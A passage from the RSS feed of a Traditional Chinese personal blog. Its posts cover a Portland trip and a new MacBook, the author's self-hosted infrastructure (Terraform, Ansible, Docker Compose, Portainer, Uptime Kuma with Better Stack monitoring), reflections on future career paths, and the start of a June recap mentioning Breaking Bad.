32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/weird-hats.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="假日市集中賣著各種怪怪帽子的店"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/slap-an-old-man.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="賞一個老人巴掌只要 $20"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>左：波特蘭的假日市集有不只一間店有這種專門賣怪怪帽子的店家，確認了一下，萬聖節應該還沒到，所以也許這裡的大家平常就喜歡戴怪怪帽 (?)</p>
<p>右：某個無家可歸街友為了籌錢買大麻來呼，於是在假日市集擺攤讓路人可以抖內 $20 塊來賞他一巴掌，生意好到需要保全出面緩頰。我在旁邊是看的是一臉懵逼（？？？？</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/voodoo-doughnut-neon-light.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="巫毒甜甜圈的霓虹燈招牌"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/voodoo-doughnut.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="巫毒甜甜圈本體"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>兩個波特蘭土生土長的怪咖長大不知道要幹嘛，他們發現波特蘭沒有甜甜圈店，於是就創業開了一間。這樣大家就不用愁凌晨 3 點不睡覺沒有<del>美味蟹堡</del>巫毒甜甜圈可以吃了！</p>
<p>總而言之，是個怪的很好玩的城市呢 🤪</p>
<h2 id="-新電腦" class="relative group">💻 新電腦！<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-july-dump/pickup-at-apple-pioneer-place.jpg"
      class="mx-auto my-0 rounded-md"
      alt="我提著新電腦在 Apple Pioneer Place 門口拍照"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>另外一個選擇波特蘭旅遊的原因就是：奧勒岡州是免稅州，在這裡買新電腦比在加州買省下了整整 US$300 左右的稅。雖然說加上機票、住宿應該是差不多打平，但就當作是免費賺到一趟旅程，還是划算 👌🏻</p>
<p>按照大三的原訂計畫，我原本的這台 2018 年的 MacBook Pro 會一路陪伴我到年底碩士畢業，然後用新工作領到 Sign-on Bonus 作為下一台電腦的資金來源去買到時候更新的 M4。但是近期真的是可以明顯感受到他已經癌末，在各方權衡之後於是決定提前在暑假換新機。</p>
<p>關於這台新 MacBook Pro，應該不會有開箱文，但我有在考慮要不要幫舊 MacBook Pro 寫一篇 「封箱」文。但具體會不會寫，可能得看接下來忙不忙，就不亂開空頭支票了：）</p>
<p>🎀 A special thanks goes to Nikita for helping on placing this order.</p>
<hr>
<p>人生最後一個暑假就這樣邁入尾聲了哪~ 怎麼有點感傷 🥲</p>
<p>下個月匹茲堡見囉！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>假設他們說的是真的，似乎就不能排除有些人可能會想在自駕車上_______(下略一萬字)。未看先猜未來的社群媒體可能會有網紅發起 #______OnWaymo 之類的挑戰。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>我甚至可以大膽預測 Waymo Premium 或 Waymo Plus 的推出只是時間上的問題罷了&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>是的沒錯，搞這台新電腦就是這個月報報大遲到的主因：）&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-july-dump</guid><pubDate>Thu, 08 Aug 2024 01:48:32 -0700</pubDate></item><item><title>What's on My Stack 2024 (I)</title><link>https://blog.tomy.me/zh-tw/posts/whats-on-my-stack-2024-i/</link><description>我の雲端基礎建設大揭㊙️</description><content:encoded><![CDATA[<p>之前去 PyCon US 的其中一天有一個 Unconf<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> 的主題就是 Self Hosting —— 集結世界各地<del>沒有正常人生的宅男們</del>分享他們都在他們家的車庫/地下室都養了些什麼牛鬼蛇神，我也藉此收穫了不少新玩具 (?)。</p>
<p>那就分享一下我自己也都架了些什麼酷酷的鬼東西吧 XDDDD</p>
<h2 id="-核心架構" class="relative group">🏗️ 核心架構 </h2><p>容許老人我先來講古一下 XDDD</p>
<p>我的第一個全端 Side Project 雖然最終證明是一坨大便，但這個過程的確讓我用最硬核的方式，學會了很多奇怪的東西，最重要的，也是理解現在的很多工具在解決的是什麼問題。簡單來說，我當時開發和部署的流程大概是這樣：</p>
<ul>
<li>把 code zip 起來</li>
<li><code>scp</code> 到 VM 上</li>
<li>解壓縮</li>
<li>安裝</li>
<li>設定開機 daemon</li>
<li>配置 DNS</li>
<li>部署 https 證書</li>
</ul>
<p>然後如果最後跑不起來，再全部重來一次，然後思考要去看哪些 log 才能找到問題出在哪。</p>
<p>所以要搭起一套夠大系統，首先有幾個問題需要先解決：</p>
<ul>
<li>怎麼「規模化」的部署</li>
<li>怎麼管理
<ul>
<li>上/下線</li>
<li>升/降級</li>
<li>監控</li>
<li>備份/復原</li>
</ul>
</li>
</ul>
<p>所以有了多年的經驗，我現在整理出來的流程大概是這樣：</p>
<ul>
<li>用 <a href="https://github.com/tomy0000000/terraform" target="_blank" rel="noreferrer">terraform<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 在雲端平台建立 VM 或其他 Infrastructure，像是 Lambda Function 或是 S3 bucket</li>
<li>用 <a href="https://github.com/tomy0000000/dotfiles" target="_blank" rel="noreferrer">dotfiles<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 裡寫好的腳本來建立一個沒有 root 權限的使用者和配置 SSH 連線</li>
<li>在本機用 Ansible <a href="https://github.com/tomy0000000/playbooks" target="_blank" rel="noreferrer">playbooks<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 來對 VM 執行一系列的 docker 指令操作</li>
<li>應用程式用 Docker Compose 來封裝</li>
</ul>
<p>用白話文的說就是：自動化</p>
<p>最大程度的減少需要手動操作的部分，就可以減少出錯的機率。最理想的情況下就是，在系統出任何問題的時候，我可以隨時把預先準備好的腳本拿出來執行，然後我就可以即時產生一套新的系統上線使用，然後後續有空再慢慢研究原本的系統是出了什麼問題。</p>
<h2 id="-服務管理portainer" class="relative group">⚙️ 服務管理：Portainer </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/whats-on-my-stack-2024-i/portainer.png"
      class="mx-auto my-0 rounded-md"
      alt="Portainer"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>前面提到我的服務全部都是用 Docker Compose 來部署的，所以當時就想找一個有漂亮的介面的 App 來操作。其實 Docker 自己出的 Desktop 還蠻好用的，現在甚至還可以安裝外掛 (the what?)，最可惜的就是不支援操作遠端的 engine。</p>
<p>於是最終找到最接近的第三方 client 就是 <a href="https://github.com/portainer/portainer" target="_blank" rel="noreferrer">Portainer<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。基本上跟 Docker Desktop 差不多，Community Edition 就可以 cover 我當時所有的需求。</p>
<p>但自從引入了 Ansible playbook 之後就很少在使用了，真的複雜到需要手動操作的，直接敲指令還是快一點。</p>
<p>應該過幾年寫第二代的時候就會拆掉了吧。</p>
<h2 id="-服務監控uptime-kuma" class="relative group">🧸 服務監控：Uptime Kuma </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/whats-on-my-stack-2024-i/uptime-kuma.png"
      class="mx-auto my-0 rounded-md"
      alt="Uptime Kuma"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">找一隻可愛的 🐻 幫你顧服務</figcaption>
</figure>
</p>
<p>初期開始架一些服務之後，很快就面臨到一個問題：人在外面，用手機連上服務要用的時候才發現，乾，服務爆了。說實在自己搞系統本來就容易出錯，升級、上下線這種問題容易發現也就算了，最難搞的就是有些服務的流量或是系統資源運用不均衡，經常在不注意的時候把 RAM 吃光，然後同一台 VM 上的服務全部都會一起下線，比方說等等會提到的 Plausible Analytics。</p>
<p>於是就想說來找一個可以監控網頁狀態的系統。簡單來說就是他會每隔幾分鐘就去戳一下系統，看看他有沒有正常回傳 HTTP 200 OK，出現其他非預期的結果就代表系統下線，送一個通知到我的手機讓我知道。</p>
<p>一開始找到的是 <a href="https://betterstack.com/" target="_blank" rel="noreferrer">Better Stack<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，免費方案可以有 10 組監控，但是我的服務太多了塞不下 XDDDD 於是後來就輾轉又找到 <a href="https://github.com/louislam/uptime-kuma" target="_blank" rel="noreferrer">Uptime Kuma<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，一個香港人自己寫的小 side project<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>。兩者的功能基本上差不多，所以幾乎是無痛轉移上去。</p>
<p>轉移完之後以為就沒事了嗎？當然沒這麼容易。</p>
<p>架設 Uptime Kuma 的同一台 VM 上當然還跑了其他的服務，於是某一次我想連某一個服務的時候，發現奇怪他怎麼掛了，而且我甚至沒收到通知，然後才發現 Uptime Kuma 自己在同一台 VM 上，他也掛了，全家都掛了：）</p>
<iframe src="https://giphy.com/embed/3NVkBM9a5WuUJy1jB9" width="480" height="480" style="" frameBorder="0" class="giphy-embed" allowFullScreen></iframe>
<p>後來的解決方案，就是把它們兩個整合起來，做雙重保障。一般情況下，他們的監控模式都是主動式的，也就是他們會主動去檢查監控的服務，但也可以設定成被動模式，在這個模式下，他會生成一個隱藏的 API 接口，然後被監控的服務要主動發請求到這個接口來回報自己還活著。所以我就在 Better Stack 上面開一個接口，然後在 Uptime Kuma 這邊註冊一個要監控的服務，接到 Better Stack 上。</p>
<div class="mermaid" align="center">
  

graph LR

A[Better Stack]
B[Uptime Kuma]
C[My Other Service A]
D[My Other Service B]

A <--> B
B --> C
B --> D


</div>

<figcaption class="text-center">大概像這樣，所以之後要出現服務下線我卻沒收到通知的情況只有一種可能就是他們都掛了<br/>應該是不太可能 吧 (?</figcaption>
<hr>
<p>不知不覺寫了好多，看樣子應該是會拆成三部曲。</p>
<p>下一集來介紹一些真的有實際用途的服務！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://zh.wikipedia.org/wiki/%E9%9D%9E%E4%BC%9A%E8%AE%AE" target="_blank" rel="noreferrer">維基百科<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>把他直翻為「非會議」但我覺得意思好像沒有很到位&hellip;總之就是在正式議程外由與會者自行發起的主題討論空間。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>這專案甚至有 5 萬多顆星星，太強了&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🤖 開發</category><guid isPermaLink="false">whats-on-my-stack-2024-i</guid><pubDate>Thu, 01 Aug 2024 02:23:22 -0700</pubDate></item><item><title>下個十年</title><link>https://blog.tomy.me/zh-tw/posts/next-10-years/</link><description>對於未來職涯的一些想像，隨筆畫個大餅</description><content:encoded><![CDATA[

<p>這篇文也算是難產許久，有些想法甚至可以追朔到我第一份實習，眼看我第二份實習都過一半了，總算是動筆要來寫了😌</p>
<h2 id="-創業" class="relative group">🏁 創業 </h2><p><small>：怎麼還寫這個 🙈</small></p>
<p>雖然之前已經寫過<a href="/zh-tw/posts/starting-a-business/">一篇文</a>討論理想的部分，但似乎少了很多現實的部分，這邊快速交代一下。我想我對軟體還是有很大的熱忱，所以創業的題目不意外應該還是以軟體為主，只是最後會以什麼形式存在、解決什麼問題、服務哪些對象，目前還沒有太具體的輪廓。</p>
<p>在條件機率 \(P(n|\)一定會創業\() = 100\%\) 的情境下，劇本有三種：</p>
<h3 id="畢業即創業-1" class="relative group">畢業即創業 (1%) </h3><p>大家都說創業天使輪資金來自 3F：</p>
<ul>
<li>Family 的錢已經被我燒完了，大部分捐給 CMU 了</li>
<li>Friends 現階段大部分跟我一樣窮</li>
<li>Fools 再笨應該也不會想投資亞洲小朋友開的公司 吧 (?)</li>
</ul>
<p>大概要真的有點想不開才會這麼早跳入火坑。</p>
<h3 id="在美國的職場混個一陣子後回台灣創業-9" class="relative group">在美國的職場混個一陣子後回台灣創業 (9%) </h3><p>客觀來說，台灣創業的條件就是沒有美國這麼好，題目會比較侷限，也很難達成我在前一篇文所提到對創業的那些理想。所以如果我真的踏上了這條路，應該只可能是我想台灣了，但又還沒到可以養活自己躺平一輩子，所以必須在台灣找些二流的事情做，在現在的我看來，似乎有點可悲</p>
<h3 id="在美國工作到覺得累積夠多經驗的時候再認真開始搞-90" class="relative group">在美國工作到覺得累積夠多經驗的時候，再認真開始搞 (90%) </h3><p>可能是兩三年，也可能是永遠沒有這一天。</p>
<p>具體幹啥不談，光是這一搞下去要被綁在美國 10 年，我就開始猶豫該不該踏上這條路了。所以創業題目必須要非常吸引我，到讓我願意獻出自由的靈魂封印在這塊大陸上，才有可能實現了吧。</p>
<hr>
<p>至於創業的出口，我現在能預見的有三種結果：</p>
<ul>
<li>賠錢、破產清算：除非真的太混或是太雖，不然我覺得應該是不至於</li>
<li>把公司賣掉：理想的話，賣給 Big Tech。不只是賺一桶金，之後不論是空降 Big Tech 或是直接變成小 <abbr title="Venture Capital 創業投資">VC</abbr> 都不在話下</li>
<li>繼續做：可能會越做越大，像 Facebook，或越做越小，像 Yahoo!</li>
</ul>
<p>現實是就算是矽谷的創業菁英，也很難知道什麼是正確的選擇，YouTube 賣給 Google 似乎也不錯，但誰又知道如果沒賣的話今天會變成什麼樣子。</p>
<h2 id="-新創" class="relative group">✨ 新創 </h2><p>沒創業，那加入一間新創公司也行吧？</p>
<p>加入新創一直是我來美國時很嚮往的一種工作型態。可以在第一線接觸到很有挑戰的題目、在極短的時間內打造 <abbr title="Minimum Viable Product 最小可行性產品">MVC</abbr> 投向市場實驗、快速累積經驗，這都是在美國以外很難體驗到的機會。</p>
<p>當然，加入新創也可能是我在畢業 5 年內成為千萬富翁的唯一途徑 (?)<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>最困難的還是回到跟創業一樣的問題：被「題目」受限。新創公司 1 個人當 10 個用的狀況屢見不鮮，所以如果被要求超時工作，那我得真心喜歡這個題目才行。</p>
<h2 id="-big-tech" class="relative group">🌈 Big Tech </h2><p>進 Big Tech 的好處相信不用我多說，躺平、爽賺，其中最重要的一點是有機會 relocate 回台灣。</p>
<p>我曾經說過這麼一句話：</p>
<blockquote>
<p>進 Google 不是一件困難的事，只是什麼時候進去的差別</p>
</blockquote>
<p>這麼說不是我覺得自己有多了不起，而是任何軟體工程師在有適當職涯規劃的情況下，進 Google (或其實任何 Big Tech) 的方式是有模式可以遵循的。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>努力練習、掌握一定的技巧、再加上一點機運，要複製別人成功的經驗是很有可能的，就算在台灣也是如此。</p>
<p>我覺得更值得關注的是，我在這裡能扮演什麼角色？</p>
<h3 id="首席工程師" class="relative group">首席工程師 </h3><p>以前不敢說，但現在的我幾乎可以確定，哪怕我已經年過半百，大概還是會對寫程式有熱忱 (或至少眷戀)，所以比起去當管工程師的產品經理或主管，我會更想當指引工程部門導入新技術的引水人。</p>
<p>但話又說回來，這種職等的工程師要能 relocate 回台灣&hellip;不確定有沒有前例可循 🤔</p>
<h3 id="主管職" class="relative group">主管職 </h3><p>之前其實在學校有扮演過類似的角色，不會到說很排斥，但我往往只會在意識到天將降大任於斯人也的時候，才開始認真思考如何扮演好這個角色。現在回頭來看，如果可以再多想一點，或許能在機會或時機來臨的時候做的更好。</p>
<p>前陣子認真思考一輪之後，有想到一個會非常想接任這個職位的條件，就是「回台灣組一支團隊」。</p>
<blockquote
      class="text-post-media"
      data-text-post-permalink="https://www.threads.net/tomy0000000/post/C7n_CfcOlLg"
      data-text-post-version="0"
      id="ig-tp-C7n_CfcOlLg"
      style="
        background: #fff;
        border-width: 1px;
        border-style: solid;
        border-color: #00000026;
        border-radius: 16px;
        max-width: 540px;
        margin: 1px;
        min-width: 270px;
        padding: 0;
        width: 99.375%;
        width: -webkit-calc(100% - 2px);
        width: calc(100% - 2px);
      "
    >
      <a
        href="https://www.threads.net/tomy0000000/post/C7n_CfcOlLg"
        style="
          background: #ffffff;
          line-height: 0;
          padding: 0 0;
          text-align: center;
          text-decoration: none;
          width: 100%;
          font-family: -apple-system, BlinkMacSystemFont, sans-serif;
        "
        target="_blank"
      >
        <div
          style="
            padding: 40px;
            display: flex;
            flex-direction: column;
            align-items: center;
          "
        >
          <div
            style="display: block; height: 32px; width: 32px; padding-bottom: 20px"
          >
            <svg
              aria-label="Threads"
              height="32px"
              role="img"
              viewBox="0 0 192 192"
              width="32px"
              xmlns="http://www.w3.org/2000/svg"
            >
              <path
                d="M141.537 88.9883C140.71 88.5919 139.87 88.2104 139.019 87.8451C137.537 60.5382 122.616 44.905 97.5619 44.745C97.4484 44.7443 97.3355 44.7443 97.222 44.7443C82.2364 44.7443 69.7731 51.1409 62.102 62.7807L75.881 72.2328C81.6116 63.5383 90.6052 61.6848 97.2286 61.6848C97.3051 61.6848 97.3819 61.6848 97.4576 61.6855C105.707 61.7381 111.932 64.1366 115.961 68.814C118.893 72.2193 120.854 76.925 121.825 82.8638C114.511 81.6207 106.601 81.2385 98.145 81.7233C74.3247 83.0954 59.0111 96.9879 60.0396 116.292C60.5615 126.084 65.4397 134.508 73.775 140.011C80.8224 144.663 89.899 146.938 99.3323 146.423C111.79 145.74 121.563 140.987 128.381 132.296C133.559 125.696 136.834 117.143 138.28 106.366C144.217 109.949 148.617 114.664 151.047 120.332C155.179 129.967 155.42 145.8 142.501 158.708C131.182 170.016 117.576 174.908 97.0135 175.059C74.2042 174.89 56.9538 167.575 45.7381 153.317C35.2355 139.966 29.8077 120.682 29.6052 96C29.8077 71.3178 35.2355 52.0336 45.7381 38.6827C56.9538 24.4249 74.2039 17.11 97.0132 16.9405C119.988 17.1113 137.539 24.4614 149.184 38.788C154.894 45.8136 159.199 54.6488 162.037 64.9503L178.184 60.6422C174.744 47.9622 169.331 37.0357 161.965 27.974C147.036 9.60668 125.202 0.195148 97.0695 0H96.9569C68.8816 0.19447 47.2921 9.6418 32.7883 28.0793C19.8819 44.4864 13.2244 67.3157 13.0007 95.9325L13 96L13.0007 96.0675C13.2244 124.684 19.8819 147.514 32.7883 163.921C47.2921 182.358 68.8816 191.806 96.9569 192H97.0695C122.03 191.827 139.624 185.292 154.118 170.811C173.081 151.866 172.51 128.119 166.26 113.541C161.776 103.087 153.227 94.5962 141.537 88.9883ZM98.4405 129.507C88.0005 130.095 77.1544 125.409 76.6196 115.372C76.2232 107.93 81.9158 99.626 99.0812 98.6368C101.047 98.5234 102.976 98.468 104.871 98.468C111.106 98.468 116.939 99.0737 122.242 100.233C120.264 124.935 108.662 128.946 98.4405 129.507Z"
              />
            </svg>
          </div>
          <div
            style="
              font-size: 15px;
              line-height: 21px;
              color: #999999;
              font-weight: 400;
              padding-bottom: 4px;
            "
          >
            Post by tomy0000000
          </div>
          <div
            style="
              font-size: 15px;
              line-height: 21px;
              color: #000000;
              font-weight: 600;
            "
          >
            View on Threads
          </div>
        </div></a
      >
    </blockquote>
    
    <script async src="https://www.threads.net/embed.js"></script>
<figcaption>之前發瘋上脆問前輩，結果演算法還真的有求必應</figcaption>
<p>這個想法源自於：</p>
<ul>
<li>→ (我覺得) 台灣半導體產業太龐大，大到對其他理工科系 (或甚至說任何產業) 產生了一定的排擠效應 <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></li>
<li>→ 純軟體的工作機會相對沒有這麼發達</li>
<li>→ 來美國唸書就業的台灣人就算回去，大概也是外商</li>
<li>→ 就算是回台商嘗試領導一些新的技術或改革，大概也很難憑一己之力去撼動既有的框架</li>
</ul>
<p>要規模化的壯大台灣軟體業，唯一的方式還是讓更多的外商進來台灣，去提高薪資水準和驅動技術革新。Google 或微軟在台灣擴大團隊也只是擴建頂大畢業生的象牙塔，讓更多其他中小型的外商進來才能真正驅動結構上的改革，帶動整個產業鏈一起成長。</p>
<p>於是才漸漸開始覺得，如果能帶一支團隊回來，會是對台灣軟體業最大的貢獻。</p>
<p>但其實一切都是我在空想，可能以後回頭來看會覺得離譜的可笑，或就算是對的，依舊不是一件容易的事。</p>
<p>但凡事都還是得先把靶心畫出來，有目標以後才有努力的方向吧。</p>
<h2 id="-全遠端--轉戰其他國家" class="relative group">🌎 全遠端 / 轉戰其他國家 </h2><p>換另一個角度想，如果可以隨心所欲在地球上任何一個地方工作，台灣的未來與我何干 (X</p>
<p>遠端工作其實有很多種型態，除了直覺上第一個想到的全遠距工作之外，還有另外一種比較少見的例子是當所謂的獨立開發者，比方說寫一個暢銷的 App、SaaS 平台，甚至是開一間個人顧問工作室。但一開始做不做的起來可能會是很大的一個問題，真的啟動之後其他稅務、保險、簽證也會是一大問題，總而言之在 30 歲之前大概也是不用想。</p>
<p>其他國家的話，目前了解愛爾蘭有蠻多美國軟體公司、瑞士應該是僅次於美國軟體業薪資最高的、英國機會應該也不少、之前去德國的 PyCon 也發現軟體業蠻發達的。亞洲的話，新加坡是很多東南亞新創的基地、泰國也有一些軟體公司有設點，印度機會應該不少，雖然不確定我會不會想去。</p>
<hr>
<p>好啦，回到現實就是，現在找工作還是沒有很輕鬆，說句實在話就是是工作在挑我，不是我在挑工作，所以目前也沒有特別的傾向，如果有機會應該都還是會嘗試看看不同的挑戰吧。</p>
<p>不知道 10 年之後的我回來看到這篇文會是悔不當初，又或是哄堂大笑呢 🙂‍↔️</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>或是在 5 年內跑路的唯一途徑&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>更精準的詞可能叫「套路」&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>我發現很多聰明的人壓根就沒有特別喜歡特定類型的工作，反正只要薪水夠高，做什麼根本無所謂。&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">next-10-years</guid><pubDate>Mon, 15 Jul 2024 22:25:52 -0700</pubDate></item><item><title>2024 年 6 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-june-dump/</link><description>灣區大縱走</description><content:encoded><![CDATA[<p>實習第一個月怎麼一下就過了 QQQQQQQ</p>
<h2 id="-絕命毒師-breaking-bad" class="relative group">💊 絕命毒師 Breaking Bad </h2><p>下班回家腦子使不上力，最適合追劇。</p>
<p>於是歷經半年，總算是把這部號稱美國史上最偉大的電視劇看完了。</p>
<details>
<summary>以下心得巨雷，未看慎入</summary>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-june-dump/walter-white.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Walter 在最後一幕摸著製毒器具"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>大場面還是很精彩，最後 Walter 的死法也算是安排的得當，有符合我對這部分的期待。美中不足的可能是，他在第四季結束之後的轉變有點太巨大，前面安排了那麼多事件去慢慢形塑他的心境反而顯得&hellip;有點沒必要？</p>
